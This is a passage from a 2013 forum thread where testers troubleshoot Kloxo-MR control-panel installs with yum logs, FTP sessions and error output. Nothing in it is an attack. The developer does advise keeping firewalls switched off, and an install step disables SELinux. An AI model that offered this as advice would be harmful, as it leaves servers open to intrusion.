---> Package mysql55-server.x86_64 0:5.5.29-1.ius.el5 set to be updated
--> Processing Dependency: perl-DBD-MySQL for package: mysql55-server
--> Running transaction check
---> Package courier-authlib-toaster.x86_64 0:0.59.2-1.3.10.mr.el5 set to be erased
--> Processing Dependency: libcourierauth.so.0()(64bit) for package: maildrop-toaster
--> Processing Dependency: courier-authlib-toaster for package: courier-imap-toaster
---> Package libaio.x86_64 0:0.3.106-5 set to be updated
---> Package lxlighttpd.x86_64 0:1.4.32-2.mr.el5 set to be erased
---> Package lxphp.x86_64 0:5.2.17-8.mr.el5 set to be erased
---> Package mysql55-libs.x86_64 0:5.5.29-1.ius.el5 set to be updated
---> Package mysql55-server.x86_64 0:5.5.29-1.ius.el5 set to be updated
--> Processing Dependency: perl-DBD-MySQL for package: mysql55-server
---> Package mysqlclient15.x86_64 0:5.0.92-3.ius.el5 set to be updated
--> Processing Dependency: libpcap for package: mysqlclient15
---> Package perl-DBD-MySQL.x86_64 0:3.0007-2.el5 set to be erased
--> Processing Dependency: perl-DBD-MySQL for package: mysql55-server
---> Package php-mysql.x86_64 0:5.2.17-24.el5 set to be erased
---> Package pure-ftpd.x86_64 0:1.0.36-3.mr.el5 set to be erased
---> Package qmail-toaster.x86_64 0:1.03-1.3.22.mr.el5 set to be erased
--> Processing Dependency: smtpdaemon for package: fetchmail
--> Processing Dependency: qmail-toaster >= 1.03-1.3.1 for package: ripmime-toaster
--> Processing Dependency: qmail-toaster >= 1.03-1.3.22.mr.el5 for package: qmail-pop3d-toaster
---> Package vpopmail-toaster.x86_64 0:5.4.33-1.4.1.mr.el5 set to be erased
--> Running transaction check
---> Package courier-imap-toaster.x86_64 0:4.1.2-1.3.10.mr.el5 set to be erased
---> Package fetchmail.x86_64 0:6.3.6-4.el5 set to be erased
---> Package libpcap.x86_64 14:0.9.4-15.el5 set to be updated
---> Package maildrop-toaster.x86_64 0:2.0.3-1.3.8.mr.el5 set to be erased
---> Package mysql55-server.x86_64 0:5.5.29-1.ius.el5 set to be updated
--> Processing Dependency: perl-DBD-MySQL for package: mysql55-server
---> Package perl-DBD-MySQL.x86_64 0:3.0007-2.el5 set to be erased
--> Processing Dependency: perl-DBD-MySQL for package: mysql55-server
---> Package qmail-pop3d-toaster.x86_64 0:1.03-1.3.22.mr.el5 set to be erased
---> Package ripmime-toaster.x86_64 0:1.4.0.6-1.3.6.mr.el5 set to be erased
--> Finished Dependency Resolution
mysql55-server-5.5.29-1.ius.el5.x86_64 from kloxo-mr-ius has depsolving problems
  --> Missing Dependency: perl-DBD-MySQL is needed by package mysql55-server-5.5.29-1.ius.el5.x86_64 (kloxo-mr-ius)
mysql55-server-5.5.29-1.ius.el5.x86_64 from kloxo-mr-ius has depsolving problems
  --> Missing Dependency: perl-DBD-MySQL is needed by package mysql55-server-5.5.29-1.ius.el5.x86_64 (kloxo-mr-ius)
--> Running transaction check
---> Package libaio.x86_64 0:0.3.106-5 set to be updated
---> Package libpcap.x86_64 14:0.9.4-15.el5 set to be updated
---> Package mysql.x86_64 0:5.0.95-5.el5_9 set to be erased
---> Package mysql-server.x86_64 0:5.0.95-5.el5_9 set to be erased
---> Package mysql55.x86_64 0:5.5.29-1.ius.el5 set to be updated
---> Package mysql55-libs.x86_64 0:5.5.29-1.ius.el5 set to be updated
---> Package mysql55-server.x86_64 0:5.5.29-1.ius.el5 set to be updated
---> Package mysqlclient15.x86_64 0:5.0.92-3.ius.el5 set to be updated
--> Finished Dependency Resolution

Dependencies Resolved

================================================================================
 Package             Arch        Version                Repository         Size
================================================================================
Installing:
 mysql55             x86_64      5.5.29-1.ius.el5       kloxo-mr-ius       11 M
 mysql55-server      x86_64      5.5.29-1.ius.el5       kloxo-mr-ius       12 M
Removing:
 mysql               x86_64      5.0.95-5.el5_9         installed         8.2 M
 mysql-server        x86_64      5.0.95-5.el5_9         installed          22 M
Installing for dependencies:
 libaio              x86_64      0.3.106-5              base               19 k
 libpcap             x86_64      14:0.9.4-15.el5        base              109 k
 mysql55-libs        x86_64      5.5.29-1.ius.el5       kloxo-mr-ius      1.1 M
 mysqlclient15       x86_64      5.0.92-3.ius.el5       kloxo-mr-ius      1.7 M

Transaction Summary
================================================================================
Install       6 Package(s)
Upgrade       0 Package(s)
Remove        2 Package(s)
Reinstall     0 Package(s)
Downgrade     0 Package(s)

Total download size: 26 M
Is this ok [y/N]: y
Downloading Packages:
(1/6): libaio-0.3.106-5.x86_64.rpm                       |  19 kB     00:00
(2/6): libpcap-0.9.4-15.el5.x86_64.rpm                   | 109 kB     00:00
(3/6): mysql55-libs-5.5.29-1.ius.el5.x86_64.rpm          | 1.1 MB     00:00
(4/6): mysqlclient15-5.0.92-3.ius.el5.x86_64.rpm         | 1.7 MB     00:00
(5/6): mysql55-5.5.29-1.ius.el5.x86_64.rpm               |  11 MB     00:00
(6/6): mysql55-server-5.5.29-1.ius.el5.x86_64.rpm        |  12 MB     00:01
--------------------------------------------------------------------------------
Total                                           6.3 MB/s |  26 MB     00:04
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
  Installing     : libaio                                                   1/8
  Installing     : mysql55-libs                                             2/8
warning: /etc/my.cnf created as /etc/my.cnf.rpmnew
  Installing     : libpcap                                                  3/8
  Installing     : mysqlclient15                                            4/8
  Installing     : mysql55                                                  5/8
  Installing     : mysql55-server                                           6/8
  Erasing        : mysql                                                    7/8
  Erasing        : mysql-server                                             8/8

Removed:
  mysql.x86_64 0:5.0.95-5.el5_9       mysql-server.x86_64 0:5.0.95-5.el5_9

Installed:
  mysql55.x86_64 0:5.5.29-1.ius.el5   mysql55-server.x86_64 0:5.5.29-1.ius.el5

Dependency Installed:
  libaio.x86_64 0:0.3.106-5
  libpcap.x86_64 14:0.9.4-15.el5
  mysql55-libs.x86_64 0:5.5.29-1.ius.el5
  mysqlclient15.x86_64 0:5.0.92-3.ius.el5

Complete!
[root@testing ~]# service xinertd restart
xinertd: unrecognized service
[root@testing ~]# service xinetd restart
Stopping xinetd:                                           [  OK  ]
Starting xinetd:                                           [  OK  ]
[root@testing ~]# ftp kmrc5.potissima.com
-bash: ftp: command not found
[root@testing ~]# yum install ftp
Loaded plugins: fastestmirror, priorities, protectbase, replace
Loading mirror speeds from cached hostfile
 * Webmin: webmin.mirror.somersettechsolutions.co.uk
 * base: centos.intergenia.de
 * extras: centos.schlundtech.de
 * kloxo-mr-epel: ftp.uni-kl.de
 * kloxo-mr-ius: mirrors.ircam.fr
 * updates: mirror.euserv.net
Excluding Packages from Kloxo-MR - centalt - x86_64
Finished
0 packages excluded due to repository protections
Setting up Install Process
Resolving Dependencies
--> Running transaction check
---> Package ftp.x86_64 0:0.17-38.el5 set to be updated
--> Finished Dependency Resolution

Dependencies Resolved

================================================================================
 Package        Arch              Version                 Repository       Size
================================================================================
Installing:
 ftp            x86_64            0.17-38.el5             base             57 k

Transaction Summary
================================================================================
Install       1 Package(s)
Upgrade       0 Package(s)

Total download size: 57 k
Is this ok [y/N]: y
Downloading Packages:
ftp-0.17-38.el5.x86_64.rpm                               |  57 kB     00:00
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
  Installing     : ftp                                                      1/1

Installed:
  ftp.x86_64 0:0.17-38.el5

Complete!
[root@testing ~]# ftp kmrc5.potissima.com
Connected to kmrc5.potissima.com (85.31.188.66).
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 5000 allowed.
220-Local time is now 08:50. Server port: 21.
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (kmrc5.potissima.com:root): kmrc5.potissima.com
331 User kmrc5.potissima.com OK. Password required
Password:
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -l
227 Entering Passive Mode (85,31,188,66,176,215)
150 Accepted data connection
drwxr-xr-x    4 1006       admin            4096 Jan 29 15:39 .
drwxr-xr-x    4 1006       admin            4096 Jan 29 15:39 ..
-rw-r--r--    1 1006       admin            1016 Jan 28 10:45 .htaccess
drwxr-xr-x    2 1006       admin            4096 Jan 28 09:32 cgi-bin
drwxr-xr-x    2 1006       admin            4096 Oct 31  2011 images
-rw-r--r--    1 1006       admin            2377 Jan 28 09:32 index.html
-rw-r--r--    1 1006       admin              18 Jan 29 15:39 index.php
226-Options: -a -l
226 7 matches total
ftp>
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-01-31, 16:45:06
Quote from: "MRatWork"
Quote from: "Spacedust"
When trying to enable antivirus scan I got a message:

"simscan_is_not_installed_for_virus_scan"

There is such warning when loading named or something similar there:

Quote
You need to implement a remote task_setrlimit in your security module and call it direc
tly from this functionWARNING: at security/security.c:51 security_ops_task_setrlimit()

Call Trace:
 [<ffffffff8012eeeb>] security_ops_task_setrlimit+0x87/0x96
 [<ffffffff8009dc0a>] do_prlimit+0xd7/0x1d2
 [<ffffffff8009ed53>] sys_setrlimit+0x36/0x43
 [<ffffffff8005d29e>] tracesys+0xd5/0xdf
You need install simscan with 'yum install simscan-toaster'.

It was installing it automatically in 6.1.12 !
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-31, 17:36:15
Yes. On Kloxo-MR, clamav-toaster (that mean also simscan-toaster) not installed by default.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-01-31, 17:49:59
Quote from: "MRatWork"
Yes. On Kloxo-MR, clamav-toaster (that mean also simscan-toaster) not installed by default.

So please make it install when enabling ClamAV.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-31, 18:09:49
Quote from: "Spacedust"
Quote from: "MRatWork"
Yes. On Kloxo-MR, clamav-toaster (that mean also simscan-toaster) not installed by default.

So please make it install when enabling ClamAV.
I hope on 6.5.0.f will implementing.
Title: Re: Need Kloxo-MR Tester
Post by: zenkul on 2013-01-31, 19:56:07
install begin : is that problem,  ? centos 6 64 bit
Quote
[root@257019 ~]# setenforce 0
-bash: setenforce: command not found
[root@2331 ~]# echo 'SELINUX=disabled' > /etc/selinux/config
-bash: /etc/selinux/config: No such file or directory
[root@2331 ~]#
I try continue installing
selinux UNDETERMINATED
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-31, 20:05:09
Quote from: "zenkul"
install begin : is that problem,  ? centos 6 64 bit
Quote
[root@257019 ~]# setenforce 0
-bash: setenforce: command not found
[root@2331 ~]# echo 'SELINUX=disabled' > /etc/selinux/config
-bash: /etc/selinux/config: No such file or directory
[root@2331 ~]#
I try continue installing
That mean your os no include selinux.

Yes, I can coding something like too many 'if then else' for detect selinux exist or not. But, too many 'if then else' not good and make more mistake for next times.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-31, 22:49:52
Quote from: "giljack"
Quote from: "giljack"
Progress report:

Installed fresh Kloxo-MR  6.5.0.c.20130112804 on Centos 6.3 32 bit

*php 5.3.21
*nginxproxy
*bind
*php-fpm worker
*Enable Php 5.2 (use Lxphp) As Secondary Php

Have to restart run /script/fixweb' and then f 'service httpd restart; service nginx restart; service php-fpm restart'.

* both test website working.
* both can recieve/send emails
* both working with email lists.




When trying pureftp to this node from other host, you can NOT list directory.... it times out and disconnected after some time..

[root@aries ~]# ftp mixhost.com
Connected to mixhost.com (198.136.57.159).
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 5000 allowed.
220-Local time is now 10:40. Server port: 21.
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (mixhost.com:jack): jack
331 User jack OK. Password required
Password:
230 OK. Current restricted directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -l
227 Entering Passive Mode (198,136,57,159,133,241)
ftp: connect: Connection timed out
ftp>

Commented out in the config file
PassivePortRange 35000 36000

this is the pure-ftpd that is installed in the test VPS.

[root@virgo pure-ftpd]# pure-ftpd --help
pure-ftpd v1.0.36 [privsep]

found the problem:

the host origin runs csf firewall and port 35000:36000 is not open.
soon as I disable the csf firewall I got through and can list the directory of the target ftp host (virgo).

When I enable the firewall, problem comes back, so I need to allow ports 35000:36000 for IN/OUT in tcp rules in the csf.config.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-31, 22:53:48
Firewall like IPTables make me sick. That why I am always setting it off.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-31, 22:55:13
Latest Kloxo-MR (6.5.0.c.2013013103) already upload to github.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-02-01, 06:18:54
Quote from: "MRatWork"
Latest Kloxo-MR (6.5.0.c.2013013103) already upload to github.


what OS do you want me to test this version.?
Or this one is already for general public.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-01, 06:42:22
Quote from: "giljack"
Quote from: "MRatWork"
Latest Kloxo-MR (6.5.0.c.2013013103) already upload to github.


what OS do you want me to test this version.?
Or this one is already for general public.

I'm testing on CentOS 5.9 64-bit update from 6.1.12.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-02-01, 06:43:15
Quote from: "giljack"
Quote from: "MRatWork"
Latest Kloxo-MR (6.5.0.c.2013013103) already upload to github.


what OS do you want me to test this version.?
Or this one is already for general public.



I go ahead and upgraded from Kloxo-MR 6.5.0.c.20130112804 to Kloxo-MR 6.5.0.c.2013013103
it is so sweet no errors nothing seems to break.
Title: Re: Need Kloxo-MR Tester
Post by: rkz on 2013-02-01, 08:42:38
got this error from Kloxo-MR 6.5.0.c.2013013103 when accessing server localhost,
" Alert: Could not Connect to the server localhost. This is most likely due to underlying network problem. Make sure that the server is accessible from this particular node by running telnet slave-id 7779 "
i dont know why, but the localhost is master not slave.

webserver is still working,
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-01, 09:47:07
@rkz,

have you reboot after install. If from update, try 'sh /script/fix-chownchmod'.
Title: Re: Need Kloxo-MR Tester
Post by: rkz on 2013-02-01, 10:01:23
fixed using "/etc/init.d/kloxo restart"
thanks :)
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-01, 10:24:29
Quote from: "rkz"
fixed using "/etc/init.d/kloxo restart"
thanks :)
Yes, sometimes kloxo not up and need restart kloxo.
Title: Re: Need Kloxo-MR Tester
Post by: UCTServices on 2013-02-01, 11:47:55
restore does not work.
Restore Failed. Reason: : Could not unzip file - dir: /tmp/backupvdg3px; file: kloxo-scheduled--6.5-admin-2013-Jan-31-1359686477.tgz:

can unzip manually


Centos 6.3 64Bit
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-01, 13:30:02
Quote from: "UCTServices"
restore does not work.
Restore Failed. Reason: : Could not unzip file - dir: /tmp/backupvdg3px; file: kloxo-scheduled--6.5-admin-2013-Jan-31-1359686477.tgz:

can unzip manually


Centos 6.3 64Bit

Sucessful restore depend on sucessful backup. Only certain errors trap/catch by Kloxo.
Title: Re: Need Kloxo-MR Tester
Post by: rkz on 2013-02-01, 17:24:36
Upload files and Upload (http) from Filemanager did not work for me :/
but upload from ftp still work fine,
i was reinstall it and try in different vps, the result is same :(
Title: Re: Need Kloxo-MR Tester
Post by: zenkul on 2013-02-01, 17:45:42
Quote from: "rkz"
Upload files and Upload (http) from Filemanager did not work for me :/
but upload from ftp still work fine,
i was reinstall it and try in different vps, the result is same :(

ok for me, on Centos 5 64 bit. Current Version:   6.5.0.c.2013013103
ok restoring back-up
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-01, 19:15:35
Quote from: "zenkul"
Quote from: "rkz"
Upload files and Upload (http) from Filemanager did not work for me :/
but upload from ftp still work fine,
i was reinstall it and try in different vps, the result is same :(

ok for me, on Centos 5 64 bit. Current Version:   6.5.0.c.2013013103
ok restoring back-up
This issue on Centos 5 or 6?.

I tried upload wordpress zip from pc to my vps (using Centos 6 64bit) and nothing found issues.
Title: Re: Need Kloxo-MR Tester
Post by: zenkul on 2013-02-01, 20:42:45
Another Issue : Iptbles always Red Light,
website internal server error
Centos 5 64 bit. Current Version: 6.5.0.c.2013013103
Code: [Select]
[root@324234 ~]# /etc/init.d/iptables restart
Flushing firewall rules:                                   [  OK  ]
Setting chains to policy ACCEPT: mangle filter nat         [  OK  ]
Unloading iptables modules:                                [  OK  ]
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-01, 21:36:58
Because /etc/sysconfig/iptables not exists. You are lucky for this condition because if this file exist possible you can not access your Kloxo-MR and other apps. Only this issue on Centos 5.9 and if Kloxo-MR found this then rename this file to iptables.kloxosave and ip6tables.kloxosave.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 00:04:50
Some errors when trying to run yum -y update:

Quote
---> Package ucspi-tcp-toaster.x86_64 0:0.88-1.3.9.mr.el5 set to be updated
--> Finished Dependency Resolution
djbdns-1.05-17.2.mr.el5.x86_64 from kloxo-mr-release-arch has depsolving problems
  --> Missing Dependency: daemontools-toaster >= 0.76-2 is needed by package djbdns-1.05-17.2.mr.el5.x86_64 (kloxo-mr-release-arch)
djbdns-1.05-17.2.mr.el5.x86_64 from kloxo-mr-release-arch has depsolving problems
  --> Missing Dependency: ucspi-tcp-toaster >= 0.88-4 is needed by package djbdns-1.05-17.2.mr.el5.x86_64 (kloxo-mr-release-arch)
--> Running transaction check
---> Package djbdns.x86_64 0:1.05-17.2.mr.el5 set to be updated
--> Processing Dependency: daemontools-toaster >= 0.76-2 for package: djbdns
--> Processing Dependency: ucspi-tcp-toaster >= 0.88-4 for package: djbdns
--> Finished Dependency Resolution
djbdns-1.05-17.2.mr.el5.x86_64 from kloxo-mr-release-arch has depsolving problems
  --> Missing Dependency: daemontools-toaster >= 0.76-2 is needed by package djbdns-1.05-17.2.mr.el5.x86_64 (kloxo-mr-release-arch)
djbdns-1.05-17.2.mr.el5.x86_64 from kloxo-mr-release-arch has depsolving problems
  --> Missing Dependency: ucspi-tcp-toaster >= 0.88-4 is needed by package djbdns-1.05-17.2.mr.el5.x86_64 (kloxo-mr-release-arch)
Error: Missing Dependency: daemontools-toaster >= 0.76-2 is needed by package djbdns-1.05-17.2.mr.el5.x86_64 (kloxo-mr-release-arch)
Error: Missing Dependency: ucspi-tcp-toaster >= 0.88-4 is needed by package djbdns-1.05-17.2.mr.el5.x86_64 (kloxo-mr-release-arch)
 You could try using --skip-broken to work around the problem
 You could try running: package-cleanup --problems
                        package-cleanup --dupes
                        rpm -Va --nofiles --nodigest
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-02-02, 01:03:47
Quote from: "MRatWork"
Quote from: "zenkul"
Quote from: "rkz"
Upload files and Upload (http) from Filemanager did not work for me :/
but upload from ftp still work fine,
i was reinstall it and try in different vps, the result is same :(

ok for me, on Centos 5 64 bit. Current Version:   6.5.0.c.2013013103
ok restoring back-up
This issue on Centos 5 or 6?.

I tried upload wordpress zip from pc to my vps (using Centos 6 64bit) and nothing found issues.



Restore from backup works for me Centos 6.3  32 bit. Current Version:   6.5.0.c.2013013103
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 01:25:40
@Spacedust,

It's because all toaster taken from qmailtoaster.com and they have djbdns-1.05-1.0.6. For djbdns, taken from author with version djbdns-1.05-17.2.

Compile djbdns no need BuildRequires but when installing need Requires: ucspi-tcp-toaster >= 0.88-4 and Requires: daemontools-toaster >= 0.76-2.

Sadly, Kloxo-MR only have daemontools-toaster-0.76-1 and ucspi-tcp-toaster-0.88-1.

I don't know where newer of ucspi-tcp-toaster and daemontools-toaster.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-02-02, 02:28:36
Quote from: "MRatWork"
@Spacedust,

It's because all toaster taken from qmailtoaster.com and they have djbdns-1.05-1.0.6. For djbdns, taken from author with version djbdns-1.05-17.2.

Compile djbdns no need BuildRequires but when installing need Requires: ucspi-tcp-toaster >= 0.88-4 and Requires: daemontools-toaster >= 0.76-2.

Sadly, Kloxo-MR only have daemontools-toaster-0.76-1 and ucspi-tcp-toaster-0.88-1.

I don't know where newer of ucspi-tcp-toaster and daemontools-toaster.


Not sure if this helps http://toaster.godshell.com/index.php/T ... oasterFull (http://toaster.godshell.com/index.php/Toaster/ToasterFull)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 03:03:24
Quote from: "MRatWork"
@Spacedust,

It's because all toaster taken from qmailtoaster.com and they have djbdns-1.05-1.0.6. For djbdns, taken from author with version djbdns-1.05-17.2.

Compile djbdns no need BuildRequires but when installing need Requires: ucspi-tcp-toaster >= 0.88-4 and Requires: daemontools-toaster >= 0.76-2.

Sadly, Kloxo-MR only have daemontools-toaster-0.76-1 and ucspi-tcp-toaster-0.88-1.

I don't know where newer of ucspi-tcp-toaster and daemontools-toaster.

What shoud I do ? Ignore djbdns inside yum or what ?

Please note I want to update from 6.1.12 without any troubles !
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 03:35:19
Please remove this: No package lxzend available.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 03:39:51
Why we are installing 32-bit MySQL on 64-bit Kloxo:

Quote
Transaction Check Error:
  file /usr/bin/mysqld_safe from install of mysql-server-5.5.30-15.el5.art.i386 conflicts with file from package mysql-server-5.5.30-15.el5.art.x86_64
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 03:42:08
Bind is installing even if I was using djbdns in 6.1.12...
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 04:02:38
Also why do we install curl.i386 instead of curl.x86_64 ?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 04:05:43
You must ask to Centos, why they are install 64bit and 32bit on 64bit system.

Sadly, other repos only have 64bit version for 64bit system and it's make conflict.

So, you must remove .i386 before update mysql.

In my experience, it's safe if all .i386 remove with 'yum remove *.i386' before fresh install of Kloxo-MR.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 04:18:27
Quote from: "MRatWork"
You must ask to Centos, why they are install 64bit and 32bit on 64bit system.

Sadly, other repos only have 64bit version for 64bit system and it's make conflict.

So, you must remove .i386 before update mysql.

In my experience, it's safe if all .i386 remove with 'yum remove *.i386' before fresh install of Kloxo-MR.

I got tons of i386 packages so better not. I've removed only mysql*.i386
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 04:22:46
@Spacedust.

Please try again for using djbdns. Rpm already recompile with lower version for 'Requires'.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 04:25:41
Quote from: "MRatWork"
@Spacedust.

Please try again for using djbdns. Rpm already recompile with lower version for 'Requires'.

Ok. I'm testing it.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 04:30:14
Now, no packages marked for update, so it's ok.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 04:41:40
What is /usr/bin/python /usr/bin/yum -y install Array-fpm after I run /script/fixweb ?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 04:46:36
I need more RAM on this test VPS:

/usr/bin/lxphp.exe: line 3: 25648 Killed            /usr/local/lxlabs/ext/php/bin/php -c /usr/local/lxlabs/ext/php/etc/php.ini $*

/script/fixweb is not rebuilding config for 2000 domains.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-02-02, 04:47:17
@MRatWork

Did you see my post regarding this link?  http://toaster.godshell.com/index.php/T ... oasterFull (http://toaster.godshell.com/index.php/Toaster/ToasterFull)

someone looking for daemontools-0.76-2 not sure if this is the one
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 05:01:17
What's config (dns, web, php) until you found this issue?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 05:04:37
Quote from: "MRatWork"
What's config (dns, web, php) until you found this issue?

djbdns, apache+varnish, php (I'm using remi repo so 5.4.11) + php_fpm_event
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 05:05:20
Quote from: "Spacedust"
I need more RAM on this test VPS:

/usr/bin/lxphp.exe: line 3: 25648 Killed            /usr/local/lxlabs/ext/php/bin/php -c /usr/local/lxlabs/ext/php/etc/php.ini $*

/script/fixweb is not rebuilding config for 2000 domains.
I don't think so. Try review /usr/local/lxlabs/ext/php/etc/php.ini and /usr/local/lxlabs/ext/php/error.log
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 05:10:16
I've added another 1 GB SWAP to my VPS so now running 512 MB RAM + 2 GB SWAP. Maybe this will be enough to pass whole /script/fixweb.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 05:11:52
Quote from: "MRatWork"
Quote from: "Spacedust"
I need more RAM on this test VPS:

/usr/bin/lxphp.exe: line 3: 25648 Killed            /usr/local/lxlabs/ext/php/bin/php -c /usr/local/lxlabs/ext/php/etc/php.ini $*

/script/fixweb is not rebuilding config for 2000 domains.
I don't think so. Try review /usr/local/lxlabs/ext/php/etc/php.ini and /usr/local/lxlabs/ext/php/error.log

Looks ok:

[02-Feb-2013 00:03:54] PHP Warning:  Module 'mysql' already loaded in Unknown on line 0
[02-Feb-2013 00:06:56] PHP Warning:  Module 'mbstring' already loaded in Unknown on line 0
[02-Feb-2013 00:06:56] PHP Warning:  Module 'mysql' already loaded in Unknown on line 0
[02-Feb-2013 00:11:57] PHP Warning:  Module 'mbstring' already loaded in Unknown on line 0
[02-Feb-2013 00:11:57] PHP Warning:  Module 'mysql' already loaded in Unknown on line 0
[02-Feb-2013 00:12:19] PHP Warning:  Module 'mbstring' already loaded in Unknown on line 0
[02-Feb-2013 00:12:19] PHP Warning:  Module 'mysql' already loaded in Unknown on line 0
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 05:12:31
Quote from: "giljack"
@MRatWork

Did you see my post regarding this link?  http://toaster.godshell.com/index.php/T ... oasterFull (http://toaster.godshell.com/index.php/Toaster/ToasterFull)

someone looking for daemontools-0.76-2 not sure if this is the one

Djbdns from qmailtoaster.com have a trouble for compiling to Centos 6. Another source (I take it) able for Centos 6 but need higher version of uscpi-tcp and daemontools.

I hope Spacedust successful using latest upload of djdbns.

Above link related to other variant of qmailtoaster. Say it, like Kloxo vs Kloxo-MR.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 05:13:28
Take a look how much RAM it takes:
Quote
top - 00:15:50 up 1 day, 29 min,  3 users,  load average: 3.91, 2.54, 4.50
Tasks: 298 total,   1 running, 297 sleeping,   0 stopped,   0 zombie
Cpu(s):  0.5%us, 10.5%sy,  0.0%ni, 32.5%id, 56.3%wa,  0.0%hi,  0.2%si,  0.0%st
Mem:    505156k total,   437720k used,    67436k free,      520k buffers
Swap:  2097144k total,  1013736k used,  1083408k free,    19568k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
  968 root      20   0  383m  21m 1412 D 11.9  4.4   0:06.59 /usr/sbin/httpd.event -k graceful
  965 root      20   0  383m  49m 2100 D 11.6 10.0   0:06.32 /usr/sbin/httpd.event -t
   30 root      20   0     0    0    0 D  8.8  0.0   5:41.51 [kswapd0]
31246 root      20   0  600m 5248 2328 S  4.7  1.0   0:27.58 /usr/local/lxlabs/ext/php/bin/php -c /usr/local/lxlabs/ext/php/etc/php.ini ../bin/fix/fixweb.php
23904 root      20   0     0    0    0 S  1.6  0.0   0:09.67 [kworker/2:0]
27012 root      20   0     0    0    0 S  1.6  0.0   0:01.73 [kworker/1:2]
27049 root      20   0     0    0    0 S  1.3  0.0   0:03.08 [kworker/3:0]
  929 root      20   0 12940 1092  692 R  0.9  0.2   0:01.12 top
  498 root      20   0 87376 1596 1460 S  0.6  0.3   0:00.36 sshd: root@pts/2
 1699 root      20   0     0    0    0 S  0.6  0.0   0:14.35 [flush-253:0]
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 05:15:15
Quote from: "Spacedust"
[02-Feb-2013 00:03:54] PHP Warning:  Module 'mysql' already loaded in Unknown on line 0
[02-Feb-2013 00:06:56] PHP Warning:  Module 'mbstring' already loaded in Unknown on line 0
[02-Feb-2013 00:06:56] PHP Warning:  Module 'mysql' already loaded in Unknown on line 0
[02-Feb-2013 00:11:57] PHP Warning:  Module 'mbstring' already loaded in Unknown on line 0
[02-Feb-2013 00:11:57] PHP Warning:  Module 'mysql' already loaded in Unknown on line 0
[02-Feb-2013 00:12:19] PHP Warning:  Module 'mbstring' already loaded in Unknown on line 0
[02-Feb-2013 00:12:19] PHP Warning:  Module 'mysql' already loaded in Unknown on line 0

Only early process create above error log. Delete error.log and then (if not something wrong with Kloxo-MR code) not create error.log again.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 05:18:33
Engine Innodb for mysql and enable clamav need more ram.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 05:20:57
/script/fixweb is starting more and more httpd.event processes which is causing not enough RAM.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 05:22:07
Quote from: "MRatWork"
Engine Innodb for mysql and enable clamav need more ram.

That's correct, but even If I disable InnoDB and stop Clamav RAM usage is very high.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 05:26:56
I've set a script to killall -9 httpd; killall -9 httpd.event, killall -9 clamd, killall -9 freshclam all the time and now it's rebuilding faster, but I still don't see any changes to my original Apache files from 6.1.12...
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 05:28:02
have you run 'sh /script/apache-optimize --select=default'?

